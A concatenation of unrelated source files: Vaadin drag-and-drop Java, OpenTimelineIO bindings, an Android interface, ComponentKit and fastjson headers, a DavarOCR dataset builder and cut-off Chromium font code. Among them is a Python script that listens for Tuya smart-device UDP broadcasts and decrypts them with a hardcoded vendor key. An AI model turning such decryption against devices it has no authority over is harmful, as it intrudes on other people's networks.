= ((VHasGrabFilter) root).getGrabFilter(); if (grabFilter != null && !grabFilter.canBeGrabbed(root, target)) { return; } } } if (dragMode == LayoutDragMode.CAPTION && isCaption) { stopEventPropagation = true; } if (isElementNotDraggable(targetElement)) { stopEventPropagation = false; } if (stopEventPropagation) { originalEvent.stopPropagation(); originalEvent.preventDefault(); // Manually focus as preventDefault() will also cancel focus targetElement.focus(); } mouseDownHandlerReg = Event .addNativePreviewHandler(new NativePreviewHandler() { @Override public void onPreviewNativeEvent(NativePreviewEvent event) { int type = event.getTypeInt(); if (type == Event.ONMOUSEUP || type == Event.ONTOUCHCANCEL || type == Event.ONTOUCHEND) { mouseDownHandlerReg.removeHandler(); mouseDownHandlerReg = null; } else if (type == Event.ONMOUSEMOVE || type == Event.ONTOUCHMOVE) { mouseDownHandlerReg.removeHandler(); mouseDownHandlerReg = null; initiateDrag(originalEvent); } } }); } private boolean isElementNotDraggable(Element targetElement) { // do not try to drag tabsheet close button it breaks close on touch devices return targetElement.getClassName().contains("v-tabsheet-caption-close"); } /** * Called when the dragging a component should be initiated by both a mouse * down event as well as a touch start event * * FIXME This method is a BIG hack to circumvent Vaadin's very poor client * side API's. This will break often. Refactor once Vaadin gets a grip. * * @param event */ protected void initiateDrag(NativeEvent event) { // Check that dragging is enabled if (dragMode == LayoutDragMode.NONE) { return; } // Dragging can only be done with left mouse button and no modifier keys if (!isMouseDragEvent(event) && !Util.isTouchEvent(event)) { return; } // Get target widget EventTarget eventTarget = event.getEventTarget(); Element targetElement = Element.as(eventTarget); Widget target = WidgetUtil.findWidget(targetElement, null); if (isEventOnScrollBar(event)) { return; } // do not drag close button of TabSheet tab if (isElementNotDraggable(targetElement)) { VDragAndDropManager.get().interruptDrag(); return; } // Abort if drag mode is caption mode and widget is not a caption boolean isPanelCaption = target instanceof VPanel && targetElement .getParentElement().getClassName().contains("v-panel-caption"); boolean isCaption = isPanelCaption || VDragDropUtil.isCaptionOrCaptionless(target); if (dragMode == LayoutDragMode.CAPTION && !isCaption) { /* * Ensure target is a caption in caption mode */ return; } if (dragMode == LayoutDragMode.CAPTION && isCaption) { /* * Ensure that captions in nested layouts don't get accepted if in * caption mode */ Widget w = VDragDropUtil.getTransferableWidget(target); ComponentConnector c = Util.findConnectorFor(w); ComponentConnector parent = (ComponentConnector) c.getParent(); if (parent.getWidget() != root) { return; } } // Create the transfarable VTransferable transferable = VDragDropUtil .createLayoutTransferableFromMouseDown(event, root, target); // Are we trying to drag the root layout if (transferable == null) { VConsole.log("Creating transferable on mouse down returned null"); return; } // Resolve the component final Widget w; ComponentConnector c = null, parent = null; if (target instanceof TabCaption) { TabCaption tabCaption = (TabCaption) target; Tab tab = tabCaption.getTab(); int tabIndex = ((ComplexPanel) tab.getParent()).getWidgetIndex(tab); VTabsheet tabsheet = tab.getTabsheet(); w = tab; c = tabsheet.getTab(tabIndex); parent = Util.findConnectorFor(tabsheet); } else if (root instanceof VDDAccordion) { w = target; parent = Util.findConnectorFor(root); StackItem tab = WidgetUtil.findWidget(targetElement, StackItem.class); if (tab != null && root.getElement().isOrHasChild(tab.getElement())) { c = ((VDDAccordion) root) .getTab(((VDDAccordion) root).getTabPosition(tab)); } } else if (transferable .getData(Constants.TRANSFERABLE_DETAIL_COMPONENT) != null) { ComponentConnector connector = (ComponentConnector) transferable .getData(Constants.TRANSFERABLE_DETAIL_COMPONENT); w = connector.getWidget(); c = Util.findConnectorFor(w); parent = (ComponentConnector) c.getParent(); } else { // Failsafe if no widget was found w = root; c = Util.findConnectorFor(w); parent = (ComponentConnector) c.getParent(); VConsole.log( "Could not resolve component, using root as component"); } VConsole.log("Dragging widget: " + w); VConsole.log(" in parent: " + parent); // Ensure component is draggable if (!VDragDropUtil.isDraggingEnabled(parent, w)) { VConsole.log("Dragging disabled for " + w.getClass().getName() + " in " + parent.getWidget().getClass().getName()); VDragAndDropManager.get().interruptDrag(); return; } // Announce drag start to listeners for (DragStartListener dl : dragStartListeners) { if (!dl.dragStart(w, dragMode)) { VDragAndDropManager.get().interruptDrag(); return; } } currentDraggedWidget = w; // Announce to handler that we are starting a drag operation VDragEvent currentDragEvent = VDragAndDropManager.get() .startDrag(transferable, event, true); /* * Create the drag image */ boolean hasDragCaption = false; com.google.gwt.dom.client.Element dragImageElement = null; if (root instanceof VHasDragCaptionProvider) { VDragCaptionProvider dragCaptionProvider = ((VHasDragCaptionProvider) root).getDragCaptionProvider(); if (dragCaptionProvider != null) { hasDragCaption = true; dragImageElement = dragCaptionProvider .getDragCaptionElement(currentDraggedWidget); } } if (!hasDragCaption && dragImageProvider != null) { dragImageElement = dragImageProvider.getDragImageElement(w); } if (dragImageElement != null) { // Set stylename to proxy component as well if (hasDragCaption) { dragImageElement.addClassName(ACTIVE_DRAG_CUSTOM_IMAGE_STYLENAME); } else { dragImageElement.addClassName(ACTIVE_DRAG_SOURCE_STYLENAME); } } else if (root instanceof VCssLayout) { /* * CSS Layout does not have an enclosing div so we just use the * component div */ dragImageElement = w.getElement(); } else if (root instanceof VTabsheet) { /* * Tabsheet should use the dragged tab as a drag image */ dragImageElement = targetElement; } else if (root instanceof VAccordion) { /* * Accordion should use the dragged tab as a drag image */ dragImageElement = targetElement; } else if (root instanceof VFormLayout) { /* * Dragging a component in a form layout should include the caption * and error indicator as well */ Element rowElement = (Element) VDDFormLayout .getRowFromChildElement( (com.google.gwt.dom.client.Element) w.getElement() .cast(), (com.google.gwt.dom.client.Element) root .getElement().cast()) .cast(); dragImageElement = rowElement; } else { /* * For other layouts we just use the target element; */ dragImageElement = w.getElement(); } Element clone; if (hasDragCaption) { currentDragEvent.setDragImage(dragImageElement); clone = dragImageElement; } else { currentDragEvent.createDragImage(dragImageElement, true); clone = currentDragEvent.getDragImage(); } assert(clone != null); // Lock drag image dimensions if (!hasDragCaption) { clone.getStyle().setWidth(dragImageElement.getOffsetWidth(), Style.Unit.PX); clone.getStyle().setHeight(dragImageElement.getOffsetHeight(), Style.Unit.PX); } if (c != null && c.delegateCaptionHandling() && !(root instanceof VTabsheet) && !(root instanceof VAccordion)) { /* * Captions are not being dragged with the widget since they are * separate. Manually add a clone of the caption to the drag image. */ if (target instanceof VCaption) { clone.insertFirst(targetElement.cloneNode(true)); } } if (BrowserInfo.get().isIE()) { // Fix IE not aligning the drag image correctly when dragging // layouts clone.getStyle().setPosition(Position.ABSOLUTE); } currentDraggedWidget.addStyleName(ACTIVE_DRAG_SOURCE_STYLENAME); // Listen to mouse up for cleanup mouseUpHandlerReg = Event .addNativePreviewHandler(new Event.NativePreviewHandler() { @Override public void onPreviewNativeEvent(NativePreviewEvent event) { if (event.getTypeInt() == Event.ONMOUSEUP || event.getTypeInt() == Event.ONTOUCHEND || event.getTypeInt() == Event.ONTOUCHCANCEL) { if (mouseUpHandlerReg != null) { mouseUpHandlerReg.removeHandler(); if (currentDraggedWidget != null) { currentDraggedWidget.removeStyleName( ACTIVE_DRAG_SOURCE_STYLENAME); if (dragImageProvider != null) { com.google.gwt.dom.client.Element dragImageElement = dragImageProvider .getDragImageElement( currentDraggedWidget); if (dragImageElement != null) { dragImageElement.removeClassName( ACTIVE_DRAG_SOURCE_STYLENAME); } } currentDraggedWidget = null; } } // Ensure capturing is turned off at mouse up Event.releaseCapture(RootPanel.getBodyElement()); } } }); } /* * Whether the event was performed on a scrollbar. */ private boolean isEventOnScrollBar(NativeEvent event) { Element element = Element.as(event.getEventTarget()); ; if (WidgetUtil.mayHaveScrollBars(element)) { final int nativeScrollbarSize = WidgetUtil.getNativeScrollbarSize(); int x = WidgetUtil.getTouchOrMouseClientX(event) - element.getAbsoluteLeft(); int y = WidgetUtil.getTouchOrMouseClientY(event) - element.getAbsoluteTop(); // Hopefully we have horizontal scroll. final int scrollWidth = element.getScrollWidth(); final int clientWidth = element.getClientWidth(); if (scrollWidth > clientWidth && clientWidth - nativeScrollbarSize < x) { return true; } // Hopefully we have vertical scroll. final int scrollHeight = element.getScrollHeight(); final int clientHeight = element.getClientHeight(); if (scrollHeight > clientHeight && clientHeight - nativeScrollbarSize < y) { return true; } } return false; } /** * Set the current drag mode * * @param dragMode * The drag mode to use */ public void updateDragMode(LayoutDragMode dragMode) { if (dragMode == this.dragMode) { return; } this.dragMode = dragMode; if (dragMode == LayoutDragMode.NONE) { detach(); } else { attach(); } } /** * Add a drag start listener to monitor drag starts * * @param listener */ public void addDragStartListener(DragStartListener listener) { dragStartListeners.add(listener); } /** * Remove a drag start listener * * @param listener */ public void removeDragStartListener(DragStartListener listener) { dragStartListeners.remove(listener); } /** * Start listening to events */ private void attach() { if (handlers.isEmpty()) { if (attachTarget == null) { handlers.add( root.addDomHandler(this, MouseDownEvent.getType())); handlers.add( root.addDomHandler(this, TouchStartEvent.getType())); } else { handlers.add(attachTarget.addDomHandler(this, MouseDownEvent.getType())); handlers.add(attachTarget.addDomHandler(this, TouchStartEvent.getType())); } } } /** * Stop listening to events */ private void detach() { for (HandlerRegistration reg : handlers) { reg.removeHandler(); } handlers.clear(); } public Widget getAttachTarget() { return attachTarget; } public void setAttachTarget(Widget attachTarget) { this.attachTarget = attachTarget; } public LayoutDragMode getDragMode() { return dragMode; } @Override public void setDragImageProvider(VDragImageProvider provider) { this.dragImageProvider = provider; } public boolean isStartDragOnMove() { return startDragOnMove; } public void setStartDragOnMove(boolean startDragOnMove) { this.startDragOnMove = startDragOnMove; } }
10,831
1,021
#include <pybind11/pybind11.h> #include "otio_anyDictionary.h" #include "otio_anyVector.h" #include "otio_bindings.h" #include "otio_utils.h" #include "otio_errorStatusHandler.h" #include "opentimelineio/serialization.h" #include "opentimelineio/deserialization.h" #include "opentimelineio/serializableObject.h" #include "opentimelineio/typeRegistry.h" #include "opentimelineio/stackAlgorithm.h" namespace py = pybind11; using namespace pybind11::literals; static void register_python_type(py::object class_object, std::string schema_name, int schema_version) { std::function<SerializableObject* ()> create = [class_object]() { py::gil_scoped_acquire acquire; py::object python_so = class_object(); SerializableObject::Retainer<> r(py::cast<SerializableObject*>(python_so)); // we need to dispose of the reference to python_so now, // while r exists to keep the object we just created alive. // (If we let python_so be destroyed when we leave the function, // then the C++ object we just created would be immediately // destroyed then.) python_so = py::object(); return r.take_value(); }; TypeRegistry::instance().register_type(schema_name, schema_version, nullptr, create, schema_name); } static bool register_upgrade_function(std::string const& schema_name, int version_to_upgrade_to, py::object const& upgrade_function_obj) { std::function<void (AnyDictionary* d)> upgrade_function = [upgrade_function_obj](AnyDictionary* d) { py::gil_scoped_acquire acquire; auto ptr = d->get_or_create_mutation_stamp(); py::object dobj = py::cast((AnyDictionaryProxy*)ptr); upgrade_function_obj(dobj); }; return TypeRegistry::instance().register_upgrade_function(schema_name, version_to_upgrade_to, upgrade_function); } static void set_type_record(SerializableObject* so, std::string schema_name) { TypeRegistry::instance().set_type_record(so, schema_name, ErrorStatusHandler()); } static SerializableObject* instance_from_schema(std::string schema_name, int schema_version, py::object data) { AnyDictionary object_data = py_to_any_dictionary(data); auto result = TypeRegistry::instance().instance_from_schema(schema_name, schema_version, object_data, ErrorStatusHandler()); return result; } PYBIND11_MODULE(_otio, m) { m.doc() = "Bindings to C++ OTIO implementation"; otio_exception_bindings(m); otio_any_dictionary_bindings(m); otio_any_vector_bindings(m); otio_serializable_object_bindings(m); otio_tests_bindings(m); m.def("_serialize_json_to_string", [](PyAny* pyAny, int indent) { return serialize_json_to_string(pyAny->a, ErrorStatusHandler(), indent); }, "value"_a, "indent"_a) .def("_serialize_json_to_file", [](PyAny* pyAny, std::string filename, int indent) { return serialize_json_to_file(pyAny->a, filename, ErrorStatusHandler(), indent); }, "value"_a, "filename"_a, "indent"_a) .def("deserialize_json_from_string", [](std::string input) { any result; deserialize_json_from_string(input, &result, ErrorStatusHandler()); return any_to_py(result, true /*top_level*/); }, "input"_a) .def("deserialize_json_from_file", [](std::string filename) { any result; deserialize_json_from_file(filename, &result, ErrorStatusHandler()); return any_to_py(result, true /*top_level*/); }, "filename"_a); py::class_<PyAny>(m, "PyAny") // explicitly map python bool, int and double classes so that they // do NOT accidentally cast in valid values .def(py::init([](py::bool_ b) { bool result = b.cast<bool>(); return new PyAny(result); })) .def(py::init([](py::int_ i) { int64_t result = i.cast<int64_t>(); return new PyAny(result); })) .def(py::init([](py::float_ d) { double result = d.cast<double>(); return new PyAny(result); })) .def(py::init([](std::string s) { return new PyAny(s); })) .def(py::init([](py::none) { return new PyAny(); })) .def(py::init([](SerializableObject* s) { return new PyAny(s); })) .def(py::init([](RationalTime rt) { return new PyAny(rt); })) .def(py::init([](TimeRange tr) { return new PyAny(tr); })) .def(py::init([](TimeTransform tt) { return new PyAny(tt); })) .def(py::init([](AnyVectorProxy* p) { return new PyAny(p->fetch_any_vector()); })) .def(py::init([](AnyDictionaryProxy* p) { return new PyAny(p->fetch_any_dictionary()); })) ; m.def("register_serializable_object_type", &register_python_type, "class_object"_a, "schema_name"_a, "schema_version"_a); m.def("set_type_record", &set_type_record, "serializable_obejct"_a, "schema_name"_a); m.def("install_external_keepalive_monitor", &install_external_keepalive_monitor, "so"_a, "apply_now"_a); m.def("instance_from_schema", &instance_from_schema, "schema_name"_a, "schema_version"_a, "data"_a); m.def("register_upgrade_function", &register_upgrade_function, "schema_name"_a, "version_to_upgrade_to"_a, "upgrade_function"_a); m.def("flatten_stack", [](Stack* s) { return flatten_stack(s, ErrorStatusHandler()); }, "in_stack"_a); m.def("flatten_stack", [](py::object tracks) { return flatten_stack(py_to_vector<Track*>(tracks), ErrorStatusHandler()); }, "tracks"_a); void _build_any_to_py_dispatch_table(); _build_any_to_py_dispatch_table(); }
2,948
3,579
#!/usr/bin/env python3 # encoding: utf-8 """ tuya-discovery.py Created by kueblc on 2019-11-13. Discover Tuya devices on the LAN via UDP broadcast """ import asyncio import json from Cryptodome.Cipher import AES pad = lambda s: s + (16 - len(s) % 16) * chr(16 - len(s) % 16) unpad = lambda s: s[:-ord(s[len(s) - 1:])] encrypt = lambda msg, key: AES.new(key, AES.MODE_ECB).encrypt(pad(msg).encode()) decrypt = lambda msg, key: unpad(AES.new(key, AES.MODE_ECB).decrypt(msg)).decode() from hashlib import md5 udpkey = md5(b"yGAdlopoPVldABfn").digest() decrypt_udp = lambda msg: decrypt(msg, udpkey) devices_seen = set() class TuyaDiscovery(asyncio.DatagramProtocol): def datagram_received(self, data, addr): # ignore devices we've already seen if data in devices_seen: return devices_seen.add(data) # remove message frame data = data[20:-8] # decrypt if encrypted try: data = decrypt_udp(data) except: data = data.decode() print(addr[0], data) # parse json try: data = json.loads(data) # there is a typo present only in Tuya SDKs for non-ESP devices ("ablilty") # it is spelled correctly in the Tuya SDK for the ESP ("ability") # we can use this as a clue to report unsupported devices if "ablilty" in data: print("WARNING: it appears this device does not use an ESP82xx and therefore cannot install ESP based firmware") except: pass def main(): loop = asyncio.get_event_loop() listener = loop.create_datagram_endpoint(TuyaDiscovery, local_addr=('0.0.0.0', 6666)) encrypted_listener = loop.create_datagram_endpoint(TuyaDiscovery, local_addr=('0.0.0.0', 6667)) loop.run_until_complete(listener) print("Listening for Tuya broadcast on UDP 6666") loop.run_until_complete(encrypted_listener) print("Listening for encrypted Tuya broadcast on UDP 6667") try: loop.run_forever() except KeyboardInterrupt: loop.stop() if __name__ == "__main__": main()
719
891
package com.scrollablelayout.simple.recyclerloadmore; import android.view.View; public interface OnLoadMoreListener { void onLoadMore(View view); }
48
6,156
/* * Copyright (c) 2014-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. * */ #import <UIKit/UIKit.h> #import <ComponentKit/CKDefines.h> #if !defined(__cplusplus) && CK_NOT_SWIFT #error This file must be compiled Obj-C++ or imported from Swift. Objective-C files should have their extension changed to .mm. #endif #if defined(__has_feature) && !__has_feature(objc_arc_fields) #error "ComponentKit requires compiler to support objc pointers in C structures" #endif #if defined(__has_feature) && !__has_feature(objc_arc) #error "ComponentKit requires ARC (Automatic Reference Counting)" #endif #import <ComponentKit/CKComponentProtocol.h> #import <ComponentKit/RCComponentSize.h> #import <ComponentKit/RCComponentSize_SwiftBridge.h> #import <ComponentKit/CKComponentViewConfiguration.h> #import <ComponentKit/CKComponentViewConfiguration_SwiftBridge.h> #import <ComponentKit/CKMountable.h> NS_ASSUME_NONNULL_BEGIN /** A component is an immutable object that specifies how to configure a view, loosely inspired by React. */ NS_SWIFT_NAME(Component) @interface CKComponent : NSObject <CKMountable, CKComponentProtocol> #if CK_SWIFT - (instancetype)initWithSwiftView:(CKComponentViewConfiguration_SwiftBridge *_Nullable)swiftView swiftSize:(RCComponentSize_SwiftBridge *_Nullable)swiftSize NS_REFINED_FOR_SWIFT NS_DESIGNATED_INITIALIZER; #else /** @param view A struct describing the view for this component. Pass {} to specify that no view should be created. @param size A size constraint that should apply to this component. Pass {} to specify no size constraint. @example A component that renders a red square: [CKComponent newWithView:{[UIView class], {{@selector(setBackgroundColor:), [UIColor redColor]}}} size:{100, 100}] */ - (instancetype)initWithView:(const CKComponentViewConfiguration &)view size:(const RCComponentSize &)size NS_DESIGNATED_INITIALIZER; /** DEPRECATED - Do not use. Use CK::ComponentBuilder instead. @param view A struct describing the view for this component. Pass {} to specify that no view should be created. @param size A size constraint that should apply to this component. Pass {} to specify no size constraint. @example A component that renders a red square: [CKComponent newWithView:{[UIView class], {{@selector(setBackgroundColor:), [UIColor redColor]}}} size:{100, 100}] */ + (instancetype)newWithView:(const CKComponentViewConfiguration &)view size:(const RCComponentSize &)size; #endif /** While the component is mounted, returns its next responder. This is the first of: - Its component controller, if it has one; - Its supercomponent; - The view the component is mounted within, if it is the root component. */ - (id _Nullable)nextResponder; @end #if CK_SWIFT #define CK_COMPONENT_INIT_UNAVAILABLE \ - (instancetype)initWithSwiftView:(CKComponentViewConfiguration_SwiftBridge *_Nullable)swiftView \ swiftSize:(RCComponentSize_SwiftBridge *_Nullable)swiftSize NS_UNAVAILABLE; #else #define CK_COMPONENT_INIT_UNAVAILABLE \ + (instancetype)newWithView:(const CKComponentViewConfiguration &)view \ size:(const RCComponentSize &)size NS_UNAVAILABLE; \ - (instancetype)initWithView:(const CKComponentViewConfiguration &)view \ size:(const RCComponentSize &)size NS_UNAVAILABLE; #endif NS_ASSUME_NONNULL_END #import <ComponentKit/ComponentBuilder.h>
1,242
28,056
<filename>src/main/java/com/alibaba/fastjson/serializer/ContextObjectSerializer.java package com.alibaba.fastjson.serializer; import java.io.IOException; public interface ContextObjectSerializer extends ObjectSerializer { void write(JSONSerializer serializer, // Object object, // BeanContext context) throws IOException; }
121
387
""" ################################################################################################## # Copyright Info : Copyright (c) Davar Lab @ Hikvision Research Institute. All rights reserved. # Filename : builder.py # Abstract : # Current Version: 1.0.0 # Date : 2020-05-31 ################################################################################################## """ import copy import platform from functools import partial import torch from torch.utils.data import DataLoader from mmcv.utils import Registry from mmcv.utils import build_from_cfg from mmcv.parallel import collate from mmcv.runner import get_dist_info from mmcv.parallel import DataContainer as DC from mmdet.datasets import DATASETS from mmdet.models.builder import build from mmdet.datasets.builder import worker_init_fn from mmdet.datasets.samplers import DistributedGroupSampler, GroupSampler, DistributedSampler from mmdet.datasets.pipelines.formating import to_tensor from .davar_dataset_wrappers import DavarConcatDataset from .davar_multi_dataset import DavarMultiDataset if platform.system() != 'Windows': # https://github.com/pytorch/pytorch/issues/973 import resource rlimit = resource.getrlimit(resource.RLIMIT_NOFILE) hard_limit = rlimit[1] soft_limit = min(4096, hard_limit) resource.setrlimit(resource.RLIMIT_NOFILE, (soft_limit, hard_limit)) SAMPLER = Registry('sampler') def build_sampler(cfg): """Build sampler Args: cfg(mmcv.Config): Sample cfg Returns: obj: sampler """ return build(cfg, SAMPLER) def davar_build_dataloader(dataset, samples_per_gpu=1, workers_per_gpu=1, sampler_type=None, num_gpus=1, dist=True, shuffle=True, seed=None, **kwargs): """ Args: dataset (Dataset): dataset samples_per_gpu (int): image numbers on each gpu workers_per_gpu (int): workers each gpu sampler_type (optional | dict): sampler parameter num_gpus (int): numbers of gpu dist (boolean): whether to use distributed mode shuffle (boolean): whether to shuffle the dataset seed (int): seed number **kwargs (None): back parameter Returns: the training data loader """ rank, world_size = get_dist_info() if sampler_type is not None: sampler = sampler_type else: sampler = kwargs.pop('sampler', None) cfg_collate = kwargs.pop('cfg_collate', None) # if choose distributed sampler if dist: # whether to shuffle data if shuffle: if sampler is None: # Distributed Group Sampler sampler = DistributedGroupSampler(dataset, samples_per_gpu, world_size, rank,) else: sampler['dataset'] = dataset sampler['samples_per_gpu'] = samples_per_gpu # build distributed sampler sampler = build_sampler(sampler) else: # distributed sampler sampler = DistributedSampler(dataset, world_size, rank, shuffle=False) batch_size = samples_per_gpu num_workers = workers_per_gpu else: if shuffle: if sampler is None: # Group Sampler sampler = GroupSampler(dataset, samples_per_gpu) else: sampler['dataset'] = dataset sampler['samples_per_gpu'] = samples_per_gpu # build non-distributed sampler sampler = build_sampler(sampler) else: sampler = None batch_size = num_gpus * samples_per_gpu num_workers = num_gpus * workers_per_gpu # combine the training image to mini-batch tensor init_fn = partial(worker_init_fn, num_workers=num_workers, rank=rank, seed=seed) if seed is not None else None # build data loader data_loader = DataLoader( dataset, batch_size=batch_size, sampler=sampler, num_workers=num_workers, collate_fn=multi_frame_collate if cfg_collate == 'multi_frame_collate' else partial(collate, samples_per_gpu= samples_per_gpu), pin_memory=False, worker_init_fn=init_fn, **kwargs) return data_loader def _concat_dataset(cfg, default_args=None): """ Args: cfg (cfg): model config file default_args (args): back parameter Returns: concat all the dataset in config file """ # dataset information, pipeline information, batch setting information ann_files = cfg['ann_file'] img_prefixes = cfg.get('img_prefix', None) seg_prefixes = cfg.get('seg_prefix', None) proposal_files = cfg.get('proposal_file', None) data_types = cfg.get('data_type', None) pipeline = cfg.get('pipeline', None) batch_ratios = cfg.get('batch_ratios', None) # update the parameter of the config datasets = [] num_dset = len(ann_files) for i in range(num_dset): data_cfg = copy.deepcopy(cfg) data_cfg['ann_file'] = ann_files[i] if isinstance(img_prefixes, (list, tuple)): data_cfg['img_prefix'] = img_prefixes[i] if isinstance(seg_prefixes, (list, tuple)): data_cfg['seg_prefix'] = seg_prefixes[i] if isinstance(proposal_files, (list, tuple)): data_cfg['proposal_file'] = proposal_files[i] if isinstance(data_types, (list, tuple)): data_cfg['data_type'] = data_types[i] if isinstance(pipeline, (list, tuple)): if isinstance(pipeline[0], (list, tuple)): data_cfg['pipeline'] = pipeline[i] if isinstance(batch_ratios, (list, tuple)): data_cfg['batch_ratios'] = batch_ratios[i] # build the dataset datasets.append(davar_build_dataset(data_cfg, default_args)) return DavarConcatDataset(datasets) def davar_build_dataset(cfg, default_args=None): """ Args: cfg (cfg): model config file default_args (args): back parameter Returns: build the dataset for training """ from mmdet.datasets.dataset_wrappers import (ConcatDataset, RepeatDataset, ClassBalancedDataset) from mmdet.datasets import build_dataset if isinstance(cfg, (list, tuple)): dataset = ConcatDataset([build_dataset(c, default_args) for c in cfg]) elif cfg['type'] == 'ConcatDataset': dataset = ConcatDataset( [build_dataset(c, default_args) for c in cfg['datasets']], cfg.get('separate_eval', True)) elif cfg['type'] == 'DavarMultiDataset': align_parameters = parameter_align(cfg) dataset = DavarMultiDataset(cfg["batch_ratios"], [davar_build_dataset(c, default_args) for c in align_parameters]) elif cfg['type'] == 'RepeatDataset': dataset = RepeatDataset( build_dataset(cfg['dataset'], default_args), cfg['times']) elif cfg['type'] == 'ClassBalancedDataset': dataset = ClassBalancedDataset( build_dataset(cfg['dataset'], default_args), cfg['oversample_thr']) elif isinstance(cfg.get('ann_file'), (list, tuple)): dataset = _concat_dataset(cfg, default_args) else: dataset = build_from_cfg(cfg, DATASETS, default_args) return dataset def parameter_align(cfg): """ pipeline parameter alignment Args: cfg (config): model pipeline config Returns: """ align_para = list() if isinstance(cfg["batch_ratios"], (float, int)): batch_ratios = [cfg["batch_ratios"]] elif isinstance(cfg["batch_ratios"], (tuple, list)): batch_ratios = cfg["batch_ratios"] else: batch_ratios = list(map(float, cfg["batch_ratios"].split('|'))) if isinstance(cfg["dataset"]["ann_file"], str): cfg["dataset"]["ann_file"] = cfg["dataset"]["ann_file"].split('|') if isinstance(cfg["dataset"]["img_prefix"], str): cfg["dataset"]["img_prefix"] = cfg["dataset"]["img_prefix"].split('|') dataset_num = len(batch_ratios) for key, item in cfg["dataset"].items(): if isinstance(item, list) and isinstance(item[0], list) and len(item) < dataset_num: for _ in range(dataset_num - len(item)): cfg["dataset"][key].append(item) elif isinstance(item, list) and isinstance(item[0], dict): temp = [] for _ in range(dataset_num): temp.append(item) cfg["dataset"][key] = temp elif isinstance(item, list) and len(item) == dataset_num: continue elif isinstance(item, (int, float)): temp = [] for _ in range(dataset_num): temp.append(item) cfg["dataset"][key] = temp elif isinstance(item, str): temp_ = [] for _ in range(dataset_num): temp_.append(item) cfg["dataset"][key] = temp_ else: raise TypeError("parameter type error") for i in range(dataset_num): temp_dict = dict() for key, item in cfg["dataset"].items(): temp_dict[key] = item[i] align_para.append(temp_dict) return align_para def multi_frame_collate(batch): """ Args: batch (list): one batch data Returns: dict: collate batch data """ data = dict() # this collate func only support batch[0] contains multi instances if isinstance(batch[0], list): img_meta = [] img = [] gt_mask = [] max_w, max_h = 0, 0 max_mask_w, max_mask_h = 0, 0 # calculate the max width and max height to pad for i in range(len(batch)): for j in range(len(batch[i])): size = batch[i][j]['img'].data.size() size_mask = batch[i][j]['gt_masks'].data.shape if max_w < size[1]: max_w = size[1] if max_h < size[2]: max_h = size[2] if max_mask_w < size_mask[1]: max_mask_w = size_mask[1] if max_mask_h < size_mask[2]: max_mask_h = size_mask[2] # pad each img and gt into max width and height for i in range(len(batch)): for j in range(len(batch[i])): img_meta.append(batch[i][j]['img_metas'].data) c, w, h = batch[i][j]['img'].data.size() tmp_img = torch.zeros((c, max_w, max_h), dtype=torch.float) tmp_img[:, 0:w, 0:h] = batch[i][j]['img'].data img.append(tmp_img) c_mask, w_mask, h_mask = batch[i][j]['gt_masks'].data.shape tmp_mask = torch.zeros((c_mask, max_mask_w, max_mask_h), dtype=torch.float) mask = to_tensor(batch[i][j]['gt_masks'].data) tmp_mask[:, :w_mask, :h_mask] = mask gt_mask.append(tmp_mask) img = DC([torch.stack(img, dim=0)]) gt_mask = DC([torch.stack(gt_mask, dim=0)]) data['img_metas'] = DC([img_meta], cpu_only=True) data['img'] = img data['gt_masks'] = gt_mask else: raise "not support type {} of batch".format(type(batch[0])) return data
5,574
14,668
// Copyright 2015 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // clang-format off #include <hb.h> #include <hb-aat.h> // clang-format on #include "third_party/blink/renderer/platform/fonts/opentype/open_type_caps_support.h" #include "third_party/harfbuzz-ng/utils/hb_scoped.h" namespace blink { namespace { bool activationSelectorPresent( hb_face_t* hb_face, const hb_aat_layout_feature_type_t feature_type, const hb_aat_layout_feature_selector_t enabled_selector_expectation) { Vector<hb_aat_layout_feature_selector_info_t> feature_selectors; unsigned num_feature_selectors = 0; unsigned default_index = 0; num_feature_selectors = hb_aat_layout_feature_type_get_selector_infos( hb_face, feature_type, 0, nullptr, nullptr, nullptr); feature_selectors.resize(num_feature_selectors); if (!hb_aat_layout_feature_type_get_selector_infos( hb_face, feature_type, 0, &num_feature_selectors, feature_selectors.data(), &default_index)) { return false; } for (hb_aat_layout_feature_selector_info_t selector_info : feature_selectors) { if (selector_info.enable == enabled_selector_expectation) return true; } return false; } } // namespace OpenTypeCapsSupport::OpenTypeCapsSupport() : harfbuzz_face_(nullptr), font_support_(FontSupport::kFull), caps_synthesis_(CapsSynthesis::kNone), font_format_(FontFormat::kUndetermined) {} OpenTypeCapsSupport::OpenTypeCapsSupport( const HarfBuzzFace* harfbuzz_face, FontDescription::FontVariantCaps requested_caps, FontDescription::FontSynthesisSmallCaps font_synthesis_small_caps, hb_script_t script) : harfbuzz_face_(harfbuzz_face), requested_caps_(requested_caps), font_synthesis_small_caps_(font_synthesis_small_caps), font_support_(FontSupport::kFull), caps_synthesis_(CapsSynthesis::kNone), font_format_(FontFormat::kUndetermined) { if (requested_caps != FontDescription::kCapsNormal) DetermineFontSupport(script); } FontDescription::FontVariantCaps OpenTypeCapsSupport::FontFeatureToUse( SmallCapsIterator::SmallCapsBehavior source_text_case) { if (font_support_ == FontSupport::kFull) return requested_caps_; if (font_support_ == FontSupport::kFallback) { if (requested_caps_ == FontDescription::FontVariantCaps::kAllPetiteCaps) return FontDescription::FontVariantCaps::kAllSmallCaps; if (requested_caps_ == FontDescription::FontVariantCaps::kPetiteCaps || (requested_caps_ == FontDescription::FontVariantCaps::kUnicase && source_text_case == SmallCapsIterator::kSmallCapsSameCase)) return FontDescription::FontVariantCaps::kSmallCaps; } return FontDescription::FontVariantCaps::kCapsNormal; } bool OpenTypeCapsSupport::NeedsRunCaseSplitting() { // Lack of titling case support is ignored, titling case is not synthesized. return font_support_ != FontSupport::kFull && requested_caps_ != FontDescription::kTitlingCaps && SyntheticSmallCapsAllowed(); } bool OpenTypeCapsSupport::NeedsSyntheticFont( SmallCapsIterator::SmallCapsBehavior run_case) { if (font_support_ == FontSupport::kFull) return false; if (requested_caps_ == FontDescription::kTitlingCaps) return false; if (!SyntheticSmallCapsAllowed()) return false; if (font_support_ == FontSupport::kNone) { if (run_case == SmallCapsIterator::kSmallCapsUppercaseNeeded && (caps_synthesis_ == CapsSynthesis::kLowerToSmallCaps || caps_synthesis_ == CapsSynthesis::kBothToSmallCaps)) return true; if (run_case == SmallCapsIterator::kSmallCapsSameCase && (caps_synthesis_ == CapsSynthesis::kUpperToSmallCaps || caps_synthesis_ == 